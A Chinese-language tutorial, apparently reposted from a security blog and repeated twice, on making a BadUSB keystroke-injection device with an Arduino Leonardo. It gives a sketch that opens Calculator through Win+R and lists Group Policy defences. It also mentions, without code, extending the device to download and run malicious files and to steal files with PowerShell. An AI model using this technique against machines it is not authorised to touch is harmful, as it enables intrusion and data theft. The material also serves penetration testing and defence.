由Arduino Leonardo初识BadUsb
字数 1845 2025-08-18 11:38:48

Arduino Leonardo制作BadUSB教学文档

0X00 原理及基础知识

BadUSB简介

BadUSB是一种通过硬件直接插入目标电脑,模拟键盘鼠标操作来执行恶意代码的攻击方式。攻击者可以借此干扰、控制主机或窃取信息。

HID攻击原理

HID(Human Interface Device)是人机接口设备,如键盘、鼠标等。HID攻击通过控制用户键盘鼠标来操控电脑。攻击者将恶意代码隐藏在看似正常的USB设备中,当设备插入电脑时,恶意代码会被加载执行。

Teensy攻击芯片

Teensy是一种小型完整的单片机开发系统,可以模拟键盘鼠标。插入电脑时会被识别为键盘,通过预编程的攻击代码向主机发送控制命令,完全控制主机。

Arduino平台

Arduino是开源电子原型平台,特点包括:

  • 跨平台:支持Windows、Mac OS X、Linux等
  • 编程灵活:支持图形化编程
  • 完全开源:硬件原理图、电路图、IDE和核心库都开源
  • 发展迅速:全球最流行的开源硬件平台

Arduino板子种类

  • Arduino UNO
  • Arduino Leonardo(本文使用)
  • Arduino MICRO
  • Arduino MEGA 2560

0X01 环境准备

硬件准备

  • Arduino Leonardo开发板

软件准备

  1. 下载Arduino IDE:

    • 官网下载或使用提供的百度网盘链接:
      • 链接:https://pan.baidu.com/s/1UqLszoiN8OI_vM3QYMlgIA
      • 密码:8asp
  2. 驱动安装(仅Windows 7需要):

    • 插入Arduino Leonardo后,在设备管理器中安装驱动
    • 驱动位于Arduino IDE目录下的drivers文件夹中

0X02 开发流程

1. 连接开发板

  1. 将Arduino Leonardo通过USB线连接到电脑
  2. 打开Arduino IDE

2. IDE配置

  1. 选择开发板:
    • 工具栏 -> 开发板 -> 选择"Arduino Leonardo"
  2. 选择端口:
    • 工具栏 -> 端口 -> 选择"COMX(Arduino Leonardo)"

3. 程序结构

Arduino程序主要包含两个函数:

  • setup():初始化函数,只在启动时执行一次
  • loop():主循环函数,会不断重复执行

4. 示例代码:弹出计算器

#include <Keyboard.h>

void setup() {
  Keyboard.begin(); // 开始键盘通讯
  delay(1000); // 延时
  
  Keyboard.press(KEY_LEFT_GUI); // win键
  delay(500);
  Keyboard.press('r'); // r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500);
  
  Keyboard.println("CALC");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  
  Keyboard.end(); // 结束键盘通讯
}

void loop() {
  // 循环
}

代码说明:

  1. 包含Keyboard库,用于模拟键盘输入
  2. 按下Win+R组合键打开运行窗口
  3. 输入"calc"并回车,打开计算器
  4. 使用Caps Lock切换确保输入为大写

5. 上传代码

  • 点击上传按钮,代码将烧录到Arduino Leonardo
  • 注意:上传过程中可能会反复断开连接,这是正常现象

0X03 扩展功能

1. 弹出消息框

可以修改代码弹出自定义消息框

2. 下载远程文件

通过模拟键盘输入命令从远程服务器下载并执行恶意文件

3. 高级攻击

结合PowerShell脚本进行文件窃取等高级操作

0X04 防御措施

1. 创建黑名单

  1. 运行gpedit.msc打开本地组策略编辑器
  2. 导航到:计算机配置 > 管理模板 > 系统 > 设备安装 > 设备安装限制
  3. 启用"阻止使用与这些设备设置类匹配的驱动程序安装设备"
  4. 添加以下GUID到黑名单:
    • 4d36e96b-E325-11CE-BFC1-08402BE10318:USB键盘
    • 4D36E972-E325-11CE-BFC1-08012BE10318:网络接口控制器
    • e0cbf06c-cd8b-4647-bb8a-263b45f0f974:蓝牙

2. 禁用自动USB安装

  1. 同上打开设备安装限制
  2. 启用"禁止安装可移动设备"
  3. 启用"允许管理员覆盖设备安装限制"

3. 禁用非活动USB端口

通过物理方式禁用不使用的USB端口

0X05 注意事项

  1. 本文仅用于学习研究目的
  2. 实际攻击可能需要考虑更多因素如杀毒软件绕过
  3. 不同系统版本可能需要调整代码
  4. 上传代码时确保选择正确的开发板和端口

0X06 参考资料

  1. 天融信阿尔法实验室《HID攻击之TEENSY实战》
  2. 维克斯《利用Arduino快速制作Teensy BadUSB》
  3. lpcdma《使用arduino进行渗透测试》
  4. mrzcpo《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》
  5. https://heimdalsecurity.com/blog/badusb-exploit-vulnerability-fix/
Arduino Leonardo制作BadUSB教学文档 0X00 原理及基础知识 BadUSB简介 BadUSB是一种通过硬件直接插入目标电脑,模拟键盘鼠标操作来执行恶意代码的攻击方式。攻击者可以借此干扰、控制主机或窃取信息。 HID攻击原理 HID(Human Interface Device)是人机接口设备,如键盘、鼠标等。HID攻击通过控制用户键盘鼠标来操控电脑。攻击者将恶意代码隐藏在看似正常的USB设备中,当设备插入电脑时,恶意代码会被加载执行。 Teensy攻击芯片 Teensy是一种小型完整的单片机开发系统,可以模拟键盘鼠标。插入电脑时会被识别为键盘,通过预编程的攻击代码向主机发送控制命令,完全控制主机。 Arduino平台 Arduino是开源电子原型平台,特点包括: 跨平台:支持Windows、Mac OS X、Linux等 编程灵活:支持图形化编程 完全开源:硬件原理图、电路图、IDE和核心库都开源 发展迅速:全球最流行的开源硬件平台 Arduino板子种类 Arduino UNO Arduino Leonardo(本文使用) Arduino MICRO Arduino MEGA 2560 0X01 环境准备 硬件准备 Arduino Leonardo开发板 软件准备 下载Arduino IDE: 官网下载或使用提供的百度网盘链接: 链接:https://pan.baidu.com/s/1UqLszoiN8OI_ vM3QYMlgIA 密码:8asp 驱动安装(仅Windows 7需要): 插入Arduino Leonardo后,在设备管理器中安装驱动 驱动位于Arduino IDE目录下的drivers文件夹中 0X02 开发流程 1. 连接开发板 将Arduino Leonardo通过USB线连接到电脑 打开Arduino IDE 2. IDE配置 选择开发板: 工具栏 -> 开发板 -> 选择"Arduino Leonardo" 选择端口: 工具栏 -> 端口 -> 选择"COMX(Arduino Leonardo)" 3. 程序结构 Arduino程序主要包含两个函数: setup() :初始化函数,只在启动时执行一次 loop() :主循环函数,会不断重复执行 4. 示例代码:弹出计算器 代码说明: 包含Keyboard库,用于模拟键盘输入 按下Win+R组合键打开运行窗口 输入"calc"并回车,打开计算器 使用Caps Lock切换确保输入为大写 5. 上传代码 点击上传按钮,代码将烧录到Arduino Leonardo 注意:上传过程中可能会反复断开连接,这是正常现象 0X03 扩展功能 1. 弹出消息框 可以修改代码弹出自定义消息框 2. 下载远程文件 通过模拟键盘输入命令从远程服务器下载并执行恶意文件 3. 高级攻击 结合PowerShell脚本进行文件窃取等高级操作 0X04 防御措施 1. 创建黑名单 运行 gpedit.msc 打开本地组策略编辑器 导航到:计算机配置 > 管理模板 > 系统 > 设备安装 > 设备安装限制 启用"阻止使用与这些设备设置类匹配的驱动程序安装设备" 添加以下GUID到黑名单: 4d36e96b-E325-11CE-BFC1-08402BE10318 :USB键盘 4D36E972-E325-11CE-BFC1-08012BE10318 :网络接口控制器 e0cbf06c-cd8b-4647-bb8a-263b45f0f974 :蓝牙 2. 禁用自动USB安装 同上打开设备安装限制 启用"禁止安装可移动设备" 启用"允许管理员覆盖设备安装限制" 3. 禁用非活动USB端口 通过物理方式禁用不使用的USB端口 0X05 注意事项 本文仅用于学习研究目的 实际攻击可能需要考虑更多因素如杀毒软件绕过 不同系统版本可能需要调整代码 上传代码时确保选择正确的开发板和端口 0X06 参考资料 天融信阿尔法实验室《HID攻击之TEENSY实战》 维克斯《利用Arduino快速制作Teensy BadUSB》 lpcdma《使用arduino进行渗透测试》 mrzcpo《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》 https://heimdalsecurity.com/blog/badusb-exploit-vulnerability-fix/